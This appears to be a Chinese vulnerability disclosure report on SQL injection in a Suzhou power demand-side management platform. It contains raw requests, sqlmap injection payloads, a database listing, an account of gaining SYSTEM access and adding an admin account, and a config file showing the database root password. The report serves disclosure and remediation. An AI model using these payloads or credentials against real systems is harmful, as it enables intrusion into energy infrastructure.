2015-12-19: 细节已通知厂商并且等待厂商处理中 2015-12-23: 厂商已经确认,细节仅向厂商公开 2016-01-02: 细节向核心白帽子及相关领域专家公开 2016-01-12: 细节向普通白帽子公开 2016-01-22: 细节向实习白帽子公开 2016-02-04: 细节向公众公开
权限很高的数据库
苏州市电力需求侧管理平台
**.**.**.**/
输入框不存在注入,但是有个找回密码的选项还有一个越权操作处也存在注入
POST /xm/answer.php HTTP/1.1Host: **.**.**.**User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: **.**.**.**/xm/Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 7tel=%27
POST /xm/modify.php HTTP/1.1Host: **.**.**.**User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: **.**.**.**/xm/answer.phpConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 15answer=*&tel=*
多个参数都存在注入
Parameter: #1* ((custom) POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: answer=' AND 3053=3053 AND 'ZBCd'='ZBCd&tel= Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: answer=' AND (SELECT 8462 FROM(SELECT COUNT(*),CONCAT(0x716a6b6a71,(SELECT (ELT(8462=8462,1))),0x716b707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'yfdd'='yfdd&tel= Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: answer=' AND (SELECT * FROM (SELECT(SLEEP(5)))fcIr) AND 'AFwQ'='AFwQ&tel= Type: UNION query Title: Generic UNION query (NULL) - 24 columns Payload: answer=-5528' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a6b6a71,0x77534e4e744b676562567968796d4e4b6f724147754b674741484976474f6d6169766e5659574c76,0x716b707a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&tel=---[21:19:26] [INFO] testing MySQL[21:19:26] [INFO] confirming MySQL[21:19:26] [INFO] the back-end DBMS is MySQLweb application technology: Apache 2.4.9, PHP 5.5.12back-end DBMS: MySQL >= 5.0.0
数据库DBA权限
数据库
available databases [10]:[*] db_biouxigas[*] db_ent_num[*] db_lianhua[*] db_linde[*] db_szdsjm[*] ent_database_info[*] information_schema[*] mysql[*] performance_schema[*] test
之后利用之前爆出来的路径D:\wamp\www,与系统进行交互,进而控制整个服务器。很好,system权限
添加管理员temp/adm!n123顺利登陆服务器
<?php DEFINE ('DB_USER','root'); DEFINE ('DB_PASSWORD','sudawl'); DEFINE ('DB_HOST','localhost'); DEFINE ('DB_NAME','db_szdsjm'); $conn = @mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) OR die ('Could not connect to MySQL:' . mysqli_connect_error()); mysqli_set_charset($conn,'gbk');?>
登陆了一个用户试试
1.数据库降权2.SQL注入这个问题使用正则过滤
危害等级:高
漏洞Rank:11
确认时间:2015-12-23 10:21
CNVD确认所述情况,已经转由CNCERT向能源行业信息化主管部门通报,由其后续协调网站管理单位处置;同时转由CNCERT发江苏分中心。
暂无